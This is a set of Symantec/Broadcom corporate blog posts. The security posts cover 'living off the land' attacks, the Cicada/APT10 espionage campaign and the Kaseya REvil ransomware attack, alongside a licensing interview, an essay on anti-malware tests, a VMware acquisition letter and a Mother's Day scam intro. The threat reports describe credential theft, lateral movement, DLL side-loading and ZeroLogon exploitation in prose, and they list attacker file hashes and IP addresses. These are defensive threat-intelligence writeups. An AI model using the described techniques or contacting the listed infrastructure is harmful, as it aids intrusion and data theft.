Customers have deployment flexibility. The new licensing allows you to transition from Security Analytics deployed on hardware to your virtual infrastructure or in your own public cloud if you use Oracle, AWS, Azure or Google Cloud - all with the same license
The new solution delivers Improved scalability. You can easily spread the solution throughout your organization within the same license – resize, aggregate or split instances.
Intelligence Services subscription is now included with the license. The Enterprise License now includes access to Symantec’s Intelligence Services for real time threat intelligence – previously, this was a separate purchase.
The separation of hardware and software provide better support for disaster recovery and high-availability plans. The Enterprise License is based on usage. There is no need to pay for licenses that just stay idle or purchase unused capacity in advance.
Finally, customers may also achieve additional cost savings. The model separates CapEx (capital expense) and OpEx (operational expense). This may provide tax benefits as the hardware can be reported as a capital expense, and the software component (subscription) can be reported as an operational expense.
KV: Overall, it sounds like the new enterprise licensing makes it a lot easier to get into Security Analytics. Do you expect this will translate into broader adoption?
BC: Perhaps in some cases, but it’s important to remember that Security Analytics is designed specifically for those customers who have full-time advanced cyber security investigation teams. That said, the new licensing model does fit very well with outsourced security operations, so broader adoption via service providers is a distinct possibility.
KV: Any other parting thoughts for customers looking to tune up their Security Analytics deployments?
BC: Now is a great time to upgrade your Security Analytics hardware. We’ve got a lot of exciting developments in Security Analytics software coming over the next year or so, and some of those capabilities are designed with the new hardware in mind. With more and more threats making use of encrypted channels, having full visibility is essential for threat hunters and incident responders. Consider investigating our SSL Visibility Appliance as a strong solution to provide decryption of traffic, using policies to ensure you’re still protecting your user’s privacy, and not violating compliance regulations.
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It’s Time to Evict Bad Actors “Living off the Land”
Attackers making use of Windows OS utilities and other commonly available tools disguise their activity in plain sight in ways that make their presence easy to overlook
If you’re a fan of detective stories, you probably have read one of the first of the genre, “The Purloined Letter,” by Edgar Allan Poe. Briefly, a nefarious character has stolen a sensitive letter and is attempting to blackmail the victim. The authorities know he has it, so they raid his hotel room, turning over everything to find it. But they fail, because the thief has hidden it right out in the open, hanging from a tattered ribbon from the wall. Poe’s hero, detective C. Auguste Dupin, isn’t fooled by the ruse, but recovers the letter and gives it to the police for a reward.
Today, bad actors are taking a page from Poe’s tale, eschewing the hard work of creating sophisticated malware, and instead making use of Windows OS utilities and other commonly available tools, essentially hiding their work in plain sight in ways that make it easy to overlook.
The trend is called “living off the land.”
“The actors try to be as unsuspicious or as normal as possible,” says Candid Wueest, threat researcher at Symantec. Doing so not only makes the work of bad actors easier, but it makes their deeds harder to detect. According to Symantec, living-off-the-land attacks have any of four main characteristics:
Dual-use tools, such as PsExec, used by the attacker
Memory only threats, such as the Code Red worm
Fileless persistence, such as Visual Basic Scripting (VBS) in the registry
Non-Portable Executable (PE) file attacks, such as Office documents with macros or scripts
The Thrip Threat
Living off the land is the method behind a series of recent attacks known as Thrip, which was discovered in early 2018 by Symantec experts at a telecommunications provider in Southeast Asia. Hackers were using the Windows utility PsExec to install Infostealer.Catchamas malware, a custom Trojan designed to steal information, on computers in the telecom company’s network.
The Symantec experts looked for Thrip-style attacks at other organizations and found a sizeable cyber espionage campaign launched by three computers in China. Espionage and possibly disruption were the likely motives and the targets were the communications, geospatial imaging and defense sectors in the U. S. and Southeast Asia.
Living-off-the-land is not a new concept for malicious actors. The Code Red worm reared its head in 2001. More recently, Ransom.Petya, broke out in June 2017, making heavy use of system commands during the infection process.
Using the Available Tools
According to Wueest, there are up to 100 legitimate tools that are being used to perpetrate living-off-the-land attacks. However, the vast majority use Windows Powershell scripts, a fixture of Windows for a decade. “As the name indicates, it’s very powerful. It can download a payload into memory and keep it there. That makes it difficult to detect with old-style security tools. If you reboot, all forensic traces will be gone, because it was just in memory,” explains Wueest.
Other Windows utilities that factor into living-off-the-land attacks include:
PS Exec, a free tool from Microsoft. Although not installed on Windows by default, it is often used by admins to execute a process on a remote machine.
Windows Management Instrumentation (WMI), which enables the user to execute code on another machine.
Windows Secure Copy, a freeware tool that enables the user to perform normal FTP operations or send secure copy over SSH (Secure Shell), transferring files both to and from a compromised system.
The havoc really begins when these living-off-the-land tools are combined with more traditional hacking tools. One of these is Mimikatz, a utility that enables hackers to retrieve cleartext passwords, as well as password hashes from memory. Although not malicious in itself, 95% of Mimikatz usage is malicious, says Wueest.
Attackers might take passwords obtained with the help Mimikatz and use them with PS Exec to move laterally to another system. “That’s a very common pattern. They come into one machine – it could be in the HR department, which is used to receiving docs from strangers, and from that machine, the bad actors could use the password to hop onto other machines,” explains Wueest.
Once they have obtained passwords, the bad actors could also use them with a third party tool such as LogMeIn, a ubiquitous remote control program, to take over a targeted machine.
How to Fight Back
With the frequency and malignancy of living-off-the-land attacks likely to increase, you’ll need to add specific countermeasures to your defensive arsenal. Here’s what Wueest recommends:
Create a white list: Build a list of the tools that are approved for use, then remove all other tools. Anything used that is not on the white list is suspicious. Keep the white list up to date, as it should change over time to reflect the tools currently in use.
Check log files: Since the tools will be legitimate, but the users might not be, it’s critical to know who is using what. Was an admin using PS Exec, or was it someone you’ve never heard of? Find the answer in the log files.
Limit PowerShell: PowerShell enables administrators to set limits in a number of ways. Administrators may restrict name spaces, the commands that PowerShell can execute, the time that users are on their machines, and the amount of downloading that is done. These limits can prevent hackers from doing their thing.
Be alert: Fresh attacks are constantly being developed, mutating and emerging in new and dangerous ways. Attackers are seeking to split their activity into multiple processes, each of which might look innocent in itself. One tool might collect IP addresses of your users, then another tool will write to a file, while still another tool uses the addresses for attacks.
Use deception tokens: Deploy small tokens, such as files or dummy user accounts. When users try to find passwords or access files, they will stumble upon your tokens, alerting you.
Symantec TAA: Symantec Targeted Attack Analytics (TAA) played a key role in exposing the Thrip attacks. Utilizing machine learning and AI capabilities, TAA detects patterns that far exceed the normal range of human analysts. In January 2018, TAA triggered an alert that PsExec was being used to move laterally between computers at the Southeast Asian telecom operator’s network. TAA also revealed the attackers were using PsExec to install Infostealer.Catchamas.
When things are hidden out in the open – when the tools used by the bad actors are the same ones that are used legitimately every day -- it is critical to spot subtle variations from normal usage. To do so takes the machine learning and AI of TAA, capabilities that are beyond the skills of the savviest administrators – and even the peerless M. Dupin.
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It’s Time to Put Tests to the Test
To get results that are meaningful to you, here’s how to evaluate anti-malware tests
Tests are an important part of life. They provide a reality check and help us make important decisions. But for a test to fulfill those purposes, you must understand how it was done and what it measures – and does not measure. Good tests are closely linked to real-world experiences, so the results can then be used to make real-world choices. Moreover, a good tester will say what they are going to do, do what they said, and show their work. If a test hides important details then you are really just taking the tester’s word for it. At Symantec, by Broadcom Software, we recommend tests that apply the principles of the Anti-Malware Testing Standards Organization (AMTSO), an international organization dedicated to promoting the accuracy and relevance of anti-malware testing methodologies.
Over the years, Symantec, as part of Broadcom Software, has participated in more tests than any other company, with an outstanding track record. For example, Symantec products were just recognized by AV-TEST for Best Protection for the sixth time in seven years. Symantec products had the highest protection score out of any participants in SE Lab’s 2021 Enterprise Endpoint Protection test. We also scored top marks for protection in 2021 from MITRE and MRG Effitas. Our products performed better than any of our competitors in these tests, but that doesn’t mean we think the tests are perfect. Security products evolve. Tests, to remain relevant, need to evolve with them.
Symantec products had the highest protection score out of any participants in SE Lab’s 2021 Enterprise Endpoint Protection test.
How can you tell if tests are not keeping up? One telltale sign is uniformly high scores. One recent test had 19 of 20 products scoring over 99%, and 8 of those scored 100%. Results like that make the participants feel good, but don’t give you the comparative information you need to make decisions.
Another issue is the completeness of the tests. Some anti-malware tests don’t check for false positives. Large numbers of false positives are more than an annoyance. They can put an organization at risk by causing managers to tune out the noise. The result has been historic and catastrophic breaches that have caused hundreds of millions of dollars in losses. An FP test accompanying a protection test also serves as a guardrail against gaming of the test. Without an FP test, vendors may set their products to unusable levels of detection that customers would not use.
As we survey the field of anti-malware software tests, we’re finding that some of the most innovative Symantec product capabilities exceed the scope of some tests. For example, many tests do not encompass the capabilities of Symantec’s Adaptive Protection technology.
Adaptive Protection studies the customer environment, then adapts and molds to different users and policies. The more machines and users there are, the more adaptations are made. Too often, however, test results are for the generic case, not the specific implementation. Without taking into account the power of Symantec’s adaptive technology, third party tests will paint an incomplete and misleading picture. So as well as Symantec products have performed in real-world tests, the power of our innovation for your environment will be even better. Whatever your particular environment, it’s specific and unique. Does it really make sense to pay attention to test results that are for a generic environment – an environment other than your own?
Without taking into account the power of Symantec’s adaptive technology, third party tests will paint an incomplete and misleading picture.
Another example is Endpoint Threat Defense for Active Directory (TDAD). Symantec’s TDAD simulates attacks, continuously probing for misconfigurations, vulnerabilities, and persistence. It also automates attack mitigation and provides managers with real-time breach visibility. If you have AD, you need to protect it against attacks. Does the test cover software designed to protect Active Directory?
In the realm of cyber security software, analysts play important roles in evaluating products as they come to market and helping buyers understand how the products might protect them. So analysts, of all people, should have a deep understanding of tests in order to offer their clients meaningful advice. If you are consulting analysts or analyst reports in your decision-making process, ask about the criteria they apply to product evaluation. Do those criteria reflect the challenges of the real world in which you must protect your organization’s precious data?
Making decisions in the dark is not a good practice, and tests certainly have their place. Make certain that the test that you are looking at provides enough details for you to assess how important the results are to you. Ask tough questions. Putting tests to the test will get you closer to answers that will help you make critical decisions as you defend your organization from the bad actors.
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Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign
Evidence that advanced persistent threat group Cicada is behind attack campaign targeting companies in 17 regions and multiple sectors.
A large-scale attack campaign is targeting multiple Japanese companies, including subsidiaries located in as many as 17 regions around the globe in a likely intelligence-gathering operation.
Companies in multiple sectors are targeted in this campaign, including those operating in the automotive, pharmaceutical, and engineering sector, as well as managed service providers (MSPs).
The scale and sophistication of this attack campaign indicates that it is the work of a large and well-resourced group, with Symantec, a division of Broadcom (NASDAQ: AVGO), discovering enough evidence to attribute it to Cicada (aka APT10, Stone Panda, Cloud Hopper). Cicada has been involved in espionage-type operations since 2009, and U.S. government officials have linked the activities of APT10, which we track as Cicada, to the Chinese government.
Cicada has historically been known to target Japan-linked organizations, and has also targeted MSPs in the past. The group is using living-off-the-land tools as well as custom malware in this attack campaign, including a custom malware - Backdoor.Hartip - that Symantec has not seen being used by the group before. Among the machines compromised during this attack campaign were domain controllers and file servers, and there was evidence of files being exfiltrated from some of the compromised machines.
The attackers extensively use DLL side-loading in this campaign, and were also seen leveraging the ZeroLogon vulnerability that was patched in August 2020.
How was this campaign discovered?
This campaign was first discovered by Symantec when suspicious DLL side-loading activity on one of our customer’s networks triggered an alert in our Cloud Analytics technology, which is available in Symantec Endpoint Security Complete (SESC). This activity was then reviewed by our Threat Hunter analysts before being passed on to our investigations team for further analysis.
Cloud Analytics leverages artificial intelligence in order to comb through Symantec’s vast data and spot patterns associated with targeted attacks. It is capable of automatically flagging incidents that would otherwise have taken thousands of hours of analyst time to identify. The initial Cloud Analytics alert allowed our threat hunting team to identify further victims of this activity, build a more complete picture of this campaign, and attribute this activity to Cicada. It also allowed us to update and create new protections to ensure our customers are protected from this activity.
Victims
This campaign has been ongoing since at least mid-October 2019, right up to the beginning of October 2020, with the attack group active on the networks of some of its victims for close to a year. The campaign is very wide-ranging, with victims in a large number of regions worldwide.
Figure 1. Locations of some of the companies targeted in this campaign; most of those targeted have links to Japan or Japanese organizations
The companies hit are, in the main, large, well-known organizations, many of which have links to Japan or Japanese companies, which is one of the main factors tying the victims together. Cicada has been known to have a strong focus on Japanese organizations in previous attack campaigns. As is clear from the map in Figure 1, South and East Asia are strong areas of focus for the attackers in this campaign. It is unusual to see a reportedly Chinese-government-linked group attacking companies within China’s borders but, like many of the companies targeted in this campaign, the target in that instance is a subsidiary of a Japanese organization.
We also saw similar loaders on all the victim networks. These are among the main factors linking these victims together, with all of them coming from a wide variety of sectors, including:
Automotive, with some manufacturers and organizations involved in supplying parts to the motor industry also targeted, indicating that this is a sector of strong interest to the attackers
Clothing
Conglomerates
Electronics
Engineering
General Trading Company
Government
Industrial Products
Managed Service Providers
Manufacturing
Pharmaceutical
Professional Services
The amount of time the attackers spent on the networks of victims varied, with the attackers spending a significant amount of time on the networks of some victims, while spending just days on other victim networks. In some cases, too, the attackers spent some time on a network but then the activity would cease, but start again some months later.
Tactics, tools, and procedures
We observed the attackers using a wide variety of living-off-the-land, dual-use, and publicly available tools and techniques in these attacks, including:
Network Reconnaissance – gathering information from machines on the network.
Credential Theft – stealing user names and passwords, potentially to provide them with further access to the victim network.
RAR archiving – files are transferred to staging servers before exfiltration. They may be encrypted or compressed, to make them easier to extract.
Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
Adfind – a command-line tool that can be used to perform Active Directory queries.
Csvde – can be used to extract Active Directory files and data.
Ntdsutil – can be used as a credential-dumping tool.
WMIExec – can be used for lateral movement and to execute commands remotely.
PowerShell - a powerful interactive command-line interface and scripting environment included in the Windows operating system. It can be used to find information and execute code, and is frequently abused by malicious actors.
The threat actors also use a legitimate cloud file-hosting service for exfiltration.
The attackers also use DLL side-loading at multiple stages during the attack, including using it to load Backdoor.Hartip. DLL side-loading occurs when attackers are able to replace a legitimate library with a malicious one, allowing them to load malware into legitimate processes. Attackers use DLL side-loading to try and hide their activity by making it look legitimate, and it also helps them avoid detection by security software. It is a tactic that is commonly used by APT groups and has often been observed being used by nation-state backed actors. Monitoring networks for unusual activity, as Symantec’s Cloud Analytics technology does, is key for detecting this kind of malicious activity.
The attackers were also seen deploying a tool capable of exploiting the ZeroLogon vulnerability (CVE-2020-1472). The critical elevation-of-privilege vulnerability was first disclosed and patched on August 11, 2020, and can allow attackers to spoof a domain controller account and then potentially use it to steal domain credentials, take over the domain, and completely compromise all Active Directory identity services. It has been exploited by multiple malicious actors since its disclosure, leading both Microsoft and the Department of Homeland Security’s (DHS) Cybersecurity and Infrastructure Security Agency (CISA) to issue warnings to Windows users to patch the issue as quickly as possible.
Links to Cicada
The scale and sophistication of this attack campaign indicate that it is the work of a large and well-resourced group, such as a nation-state actor, with Symantec discovering enough evidence to attribute it with medium confidence to Cicada.
Symantec analysts have linked this activity to Cicada due to the use of previously seen obfuscation techniques and shellcode on loader DLLs.
Activity seen in one of the victim organizations has various trait similarities with previously seen Cicada activity that was described in a blog by Cylance in 2019, including:
Third-stage DLL has an export named "FuckYouAnti"
Third-stage DLL uses CppHostCLR technique to inject and execute the .NET loader assembly
.NET Loader is obfuscated with ConfuserEx v1.0.0
Final payload is QuasarRAT – an open-source backdoor used by Cicada in the past
In another affected organization, the loaders deploying Backdoor.Hartip overlap in the obfuscation and shellcode used, making us confident it is the same actor in both organizations.
Similarities between activity in both organizations
Side-loading DLL
C++ usage
API call sequence
GetModuleFileName -> lstrcat -> CreateFile -> ReadFile
Load next-stage payload from another file
Obfuscation: lots of garbage OutputDebugString, _time64, srand, rand API calls
Figure 2. Image showing links between Cicada and two victim organizations in this campaign
These similarities leave us confident that this is the same group carrying out this activity in both organizations, and that this group is Cicada. Historically, Cicada has been seen using custom DLL loaders to decrypt and execute its final payload, as is observed in these attacks. We also saw similar loaders as those used in these two organizations used on other victim networks.
The scale of the operations also points to a group of Cicada’s size and capabilities. The targeting of multiple large organizations in different geographies at the same time would require a lot of resources and skills that are generally only seen in nation-state backed groups. The link all the victims have to Japan also points towards Cicada, which has been known to target Japanese organizations in the past.
The targeting of MSPs is also a hallmark of Cicada’s activity. Successfully compromising an MSP can give attackers high-level access to multiple companies without them having to compromise the individual companies’ networks.
We have also seen Cicada utilizing some of the same publicly available tools – such as WMIExec – in the past. The attackers also take various steps to reduce the chances of their activity being spotted – including searching for security software on victim machines using WMIC, and using PowerShell to clear event logs to hide their activity once they are finished on victim machines. This kind of activity is the hallmark of sophisticated and experienced threat actors.
All of these facts point to Cicada being the perpetrator of these wide-ranging and sophisticated attacks.
Intelligence gathering and stealing information has generally been the motivation behind Cicada’s attacks in the past, and that would appear to be the case in this attack campaign too. We observed the attackers archiving some folders of interest in these attacks, including in one organization folders relating to human resources (HR), audit and expense data, and meeting memos.
Conclusion
Japan-linked organizations need to be on alert as it is clear they are a key target of this sophisticated and well-resourced group, with the automotive industry seemingly a key target in this attack campaign. However, with the wide range of industries targeted by these attacks, Japanese organizations in all sectors need to be aware that they are at risk of this kind of activity.
Cicada clearly still has access to a lot of resources and skills to allow it to carry out a sophisticated and wide-ranging campaign like this, so the group remains highly dangerous. Its use of a tool to exploit the recently disclosed ZeroLogon vulnerability and a custom backdoor that has not been observed by Symantec before show that it continues to evolve its tools and tactics to actively target its victims.
The group’s use of techniques such as DLL side-loading and a wide array of living-off-the-land tools underline the need for organizations to have a comprehensive security solution in place to detect this kind of suspicious activity before actors like Cicada have the chance to deploy malware or steal information from their networks.
Protection/Mitigation
This activity was first discovered thanks to an alert triggered by our Cloud Analytics technology, which is available in Symantec Endpoint Security Complete (SESC).
Indicators of Compromise (IoCs)
8b6ad87e408e38fc1db868da6e643f616dac59fbae08382c4a7dd4ea119ea057
d5e38ac1187c607e701f506c4015bde94be6c485d566d004d810d7565c188743
26460aa2df29f766cb5712ebca44cb3365ebfdb5cae0b2ec36ef1e3568911d6a
cdec58a57381bb8c1e374efb0bf1897d89d1e096d2b704820893859d9f08d086
ea9d994de91389280b334f2af991baa49ca613a6bf898d7bb25f88cc66488f5c
3f5b623222c755d59052fab9e096c9d2b9a47d06b3a5de62fb9a66750af4efc4
27873e3d4ec3a0e7d66bee8bda4d65cc8fcefbdca2c8d5c049372a63ff0bc2ed
cf3ae16b01f7eb129e0e7387ac7feb61ecfce5db0d7494b3962c02c681f504d4
578ea26729b43fd976365a6700c80950e0b71a39e67bfff715423d60ae6bfab9
03ab1588acaabdb509e9db7cfe1e60522bc8baa13bbd35160b4bde7d1b6402ef
4a08eb0eb1f4ebb54bceabbebcb7da48238f0278ae5421326ee65ec7951e4239
178.73.210.238
188.119.112.225
213.252.246.245
45.14.224.93
45.67.230.134
81.7.7.159
95.179.143.32
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Kaseya Ransomware Supply Chain Attack: What You Need To Know
Supply chain attack against MSP software used to deliver REvil ransomware to hundreds of organizations
UPDATE July 5 2021: Our blog has been updated with more details on how the ransomware was executed along with additional protection information.
Several hundred organizations have been targeted by the REvil (aka Sodinokibi) ransomware in a supply chain attack involving Kaseya VSA software and multiple Managed Service Providers (MSPs) who use it. News of the attack broke yesterday (Friday 3 July), prompting Kaseya to urge VSA users to shut down their VSA servers to prevent them from being compromised. The attack may have been timed to coincide with the 4th of July holiday weekend in the U.S., where many organizations may be lightly staffed.
Are Symantec customers protected?
Yes, Symantec Endpoint products proactively blocked tools used to deliver the ransomware payload in this wave of attacks.
How many organizations are affected?
According to Kaseya only a very small percentage of their customers were affected, “currently estimated at fewer than 40 worldwide”. However, each of those organizations may be MSPs with multiple customers. Current reports suggest hundreds of victims.
How was REvil delivered to computers during these attacks?
While the exploit used to breach Kaseya VSA server side has not yet been fully documented, it is known that the attackers delivered a malicious script and an ASCII PEM named agent.crt to Kaseya VSA clients. The dropper masqueraded inside the ASCII PEM file, which was decoded using certutil after attempts to disable Microsoft Defender. It dropped two resources, an old, but legitimate copy of Windows Defender (MsMpEng.exe) and custom malicious loader. The dropper writes the two files to disk and executes MsMpEng.exe which then side loads and executes the custom loader's export (mpsvc.dll).
What was the motivation for the attacks?
REvil attacks are usually financially motivated. However, there are some signs that the attacks may be politically motivated disruption. The attackers have, on occasion, appeared to have a political motive in their selection of targets.
In this attack, strings in the payload made references to President Joe Biden, ex-president Donald Trump, and Black Lives Matter. The attackers demanded a ransom of $45,000, which may be another reference to Trump, who was the 45th president of the U.S.
Furthermore, REvil’s Tor payment site is down at the time of writing, meaning victims will have no way of paying a ransom. Whether the group is having technical difficulties or whether it never intended to collect a ransom remains unclear.
What is REvil/Sodinokibi?
REvil (detected as Ransom.Sodinokibi) is a family of ransomware developed by a cybercrime group Symantec calls Leafroller. The ransomware is used in targeted attacks, where the attackers attempt to encrypt all computers on the victim’s network in the hope of extorting a large ransom. The group is known to steal victim data prior to encryption and threaten to release it unless a ransom is paid.
Leafroller is one of the most established and prolific targeted ransomware groups in operation. Prior to its development of REvil, the group was associated with an older ransomware family known as Gandcrab. Leafroller is known to operate a Ransomware-as-a- Service, where its sells its tools to collaborators known as affiliates in exchange for a cut of any ransom payments they obtain.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Downloader
Heur.AdvML.C
Packed.Generic.618
Ransom.Sodinokibi
Trojan.Gen.2
Trojan.Gen.MBT
WS.Malware.1
WS.Malware.2
Network-based protection:
Ransom.Gen Activity 29
Audit: Ransom.Gen Activity 55
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e - Dropper
df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e - Dropper
dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f - Dropper
aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7 - Dropper
66490c59cb9630b53fa3fa7125b5c9511afde38edab4459065938c1974229ca8 - Dropper
81d0c71f8b282076cd93fb6bb5bfd3932422d033109e2c92572fc49e4abc2471 - Dropper
1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e - Dropper
8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd - Sodinokibi
e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 - Sodinokibi
d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20 - Sodinokibi
d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f - Sodinokibi
cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6 - Sodinokibi
0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402 - Sodinokibi
8e846ed965bbc0270a6f58c5818e039ef2fb78def4d2bf82348ca786ea0cea4f - Sodinokibi
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Keeping Customers at the Center of Everything
An exciting future for customers and partners
During the 17 years I have led Broadcom, solving problems for customers and giving them the tools they need to succeed have been the most rewarding parts of my job. It’s important to me that whether we’re inventing the future through innovative R&D or co-creating new solutions with partners and users, Broadcom’s focus is customer centricity.
Broadcom has long prided itself in offering world-class enterprise technology solutions, spanning semiconductors to infrastructure software that the world’s largest companies need and want. Once we acquire VMware, we expect to deepen our commitment to customer success by building a more dynamic IT value proposition. Together, we will add the software tools customers need to better manage and get the most out of their data across all possible environments, whether they choose private cloud or public cloud approaches.
We’ll also gain valuable partnerships – an ecosystem that has been and will remain essential to Broadcom’s broader commitment to maintain, nurture, and serve VMware’s existing and future customers, regardless of organizational size. VMware’s partners today serve as both innovation collaborators and connectors to a wider range of customers, including small- and medium-sized businesses. Once the acquisition is completed, we will sustain and further develop VMware’s robust partner ecosystem, especially as we work together to expand VMware’s solutions. Partners will be able to grow their businesses as the combined company accelerates execution and smart portfolio growth. Together, we’ll be better positioned to help customers speed app modernization, move to the cloud faster and support a more secure and hybrid workforce.
We will also help expand an extremely innovative, world-wide user community. As I mentioned in my open letter to the VMware User Group (VMUG), it’s all about the product – and we’re going to focus on making VMware’s products even better for customers, including making them easier for customers and partners to access and use. As part of this, we will support and invest greater resources in VMware’s training programs, which we recognize are incredibly valuable offerings to the user community, and use our longstanding experience in utilizing partner and user ecosystems to support customers’ technology and multi-cloud priorities.
We’ll also gain valuable partnerships – an ecosystem that has been and will remain essential to Broadcom’s broader commitment to maintain, nurture, and serve VMware’s existing and future customers, regardless of organizational size.
However, for Broadcom and VMware to remain central to customer success, we also must remain at the forefront of product innovation and help customers keep up with technology advancements. VMware will complement Broadcom’s more than 60-year focus on innovation, intellectual property, and R&D know-how. Our combined track record of developing and distributing ground-breaking technologies will accelerate customer value, and industry and ecosystem growth. Each company’s products are leaders in their respective markets and categories, powering the most complex IT environments in the world.
Ultimately, through this combination of partners, users, and products, we will take our commitment to customer success to a new level. In this multi-cloud era, Broadcom and VMware will empower customers by providing them the tools that give them the choice, freedom, and flexibility to innovate and better manage their IT environments. Customers cannot compete or operate effectively if their IT environments lag the industry, and that’s particularly true for those managing highly sensitive data and need to protect and control their data across environments – whether on-premises or in private or public clouds.
Take Europe, for example, where governments and critical industries are looking to sovereign clouds. A multi-cloud approach that includes sovereign clouds allows organizations to ensure their data is being safely stored and managed in compliance with relevant regional and national laws and regulations. It is critical for enterprises, especially governments, to maintain flexibility to move data between deployment environments, while running workloads across these multiple environments. Governments moving to multi-cloud will need the tools to effectively manage their data and run applications in different cloud environments to meet different regulatory and other requirements.
At Broadcom, we all see an incredibly exciting future for VMware’s customers. Together, we will continue investing in and further developing VMware’s innovative product portfolio, leveraging our shared R&D commitment and expertise. And we will leverage our collective experience with VMware’s partners and users to unlock new value and growth. This combination will serve our customers more impactfully and comprehensively than ever before and propel their businesses forward over the long term.
Cautionary Statement Regarding Forward-Looking Statements
This communication relates to a proposed business combination transaction between Broadcom Inc. (“Broadcom”) and VMware, Inc. (“VMware”). This communication includes forward-looking statements within the meaning of Section 21E of the U.S. Securities Exchange Act of 1934, as amended, and Section 27A of the U.S. Securities Act of 1933, as amended. These forward-looking statements include but are not limited to statements that relate to the expected future business and financial performance, the anticipated benefits of the proposed transaction, the anticipated impact of the proposed transaction on the combined business, the expected amount and timing of the synergies from the proposed transaction, and the anticipated closing date of the proposed transaction. These forward-looking statements are identified by words such as “will,” “expect,” “believe,” “anticipate,” “estimate,” “should,” “intend,” “plan,” “potential,” “predict,” “project,” “aim,” and similar words or phrases. These forward-looking statements are based on current expectations and beliefs of Broadcom management and current market trends and conditions.
These forward-looking statements involve risks and uncertainties that are outside Broadcom’s control and may cause actual results to differ materially from those contained in forward-looking statements, including but not limited to: the effect of the proposed transaction on our ability to maintain relationships with customers, suppliers and other business partners or operating results and business; the ability to implement plans, achieve forecasts and meet other expectations with respect to the business after the completion of the proposed transaction and realize expected synergies; business disruption following the proposed transaction; difficulties in retaining and hiring key personnel and employees due to the proposed transaction and business combination; the diversion of management time on transaction-related issues; the satisfaction of the conditions precedent to completion of the proposed transaction, including the ability to secure regulatory approvals on the terms expected, at all or in a timely manner; significant indebtedness, including indebtedness incurred in connection with the proposed transaction, and the need to generate sufficient cash flows to service and repay such debt; the disruption of current plans and operations; the outcome of legal proceedings related to the transaction; the ability to complete the proposed transaction on a timely basis or at all; the ability to successfully integrate VMware’s operations; cyber-attacks, information security and data privacy; global political and economic conditions, including cyclicality in the semiconductor industry and in Broadcom’s other target markets, rising interest rates, the impact of inflation and challenges in manufacturing and the global supply chain; the impact of public health crises, such as pandemics (including COVID-19) and epidemics and any related company or government policies and actions to protect the health and safety of individuals or government policies or actions to maintain the functioning of national or global economies and markets; and events and trends on a national, regional and global scale, including those of a political, economic, business, competitive and regulatory nature.
These risks, as well as other risks related to the proposed transaction, are included in the registration statement on Form S-4 and proxy statement/prospectus that has been filed with the Securities and Exchange Commission (“SEC”) in connection with the proposed transaction. While the list of factors presented here is, and the list of factors presented in the registration statement on Form S-4 are, considered representative, no such list should be considered to be a complete statement of all potential risks and uncertainties. For additional information about other factors that could cause actual results to differ materially from those described in the forward-looking statements, please refer to Broadcom’s and VMware’s respective periodic reports and other filings with the SEC, including the risk factors identified in Broadcom’s and VMware’s most recent Quarterly Reports on Form 10-Q and Annual Reports on Form 10-K. The forward-looking statements included in this communication are made only as of the date hereof. Neither Broadcom nor VMware undertakes any obligation to update any forward-looking statements to reflect subsequent events or circumstances, except as required by law.
No Offer or Solicitation
This communication is not intended to and shall not constitute an offer to buy or sell or the solicitation of an offer to buy or sell any securities, or a solicitation of any vote or approval, nor shall there be any sale of securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. No offering of securities shall be made, except by means of a prospectus meeting the requirements of Section 10 of the U.S. Securities Act of 1933, as amended.
Additional Information about the Transaction and Where to Find It
In connection with the proposed transaction, Broadcom has filed with the SEC a registration statement on Form S-4 that includes a proxy statement of VMware and that also constitutes a prospectus of Broadcom. Each of Broadcom and VMware may also file other relevant documents with the SEC regarding the proposed transaction. The registration statement was declared effective by the SEC on October 3, 2022 and the definitive proxy statement/prospectus has been mailed to VMware shareholders. This document is not a substitute for the proxy statement/prospectus or registration statement or any other document that Broadcom or VMware may file with the SEC. INVESTORS AND SECURITY HOLDERS ARE URGED TO READ THE REGISTRATION STATEMENT, PROXY STATEMENT/PROSPECTUS AND ANY OTHER RELEVANT DOCUMENTS THAT MAY BE FILED WITH THE SEC, AS WELL AS ANY AMENDMENTS OR SUPPLEMENTS TO THESE DOCUMENTS, CAREFULLY AND IN THEIR ENTIRETY IF AND WHEN THEY BECOME AVAILABLE BECAUSE THEY CONTAIN OR WILL CONTAIN IMPORTANT INFORMATION ABOUT THE PROPOSED TRANSACTION. Investors and security holders may obtain free copies of the registration statement and proxy statement/prospectus and other documents containing important information about Broadcom, VMware and the proposed transaction once such documents are filed with the SEC through the website maintained by the SEC at http://www.sec.gov. Copies of the documents filed with the SEC by Broadcom may be obtained free of charge on Broadcom’s website at https://investors.broadcom.com. Copies of the documents filed with the SEC by VMware may be obtained free of charge on VMware’s website at ir.vmware.com.
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Keeping Safe Online This Mother’s day
In the UK Mother’s Day is celebrated on Sunday, March 11. In the United States and many destinations around the globe, Mother's Day 2018 is being celebrated on Sunday, May 13.
Happy Mother’s day?
Not if you’re one of the millions of people who will fall victim to online scams and fraud over the shopping peak this day brings. Sadly, as many of us take to our computers to buy gifts for the mothers in our lives, the sensitive information we share when we shop on the internet could expose us to online risks.
The 2017 BRC Annual crime survey showed that in 2016, 53% of retail fraud was cyber enabled, amounting to £100m in losses which can only be expected to rise as we head further into 2018.
Mother’s day is a highlight of mothers all over the world who are actually expected to put their feet up for once. Unfortunately the same can be said for cyber criminals who look forward to global online retail phenomena like Mother’s day and take advantage of the sums being exchanged.
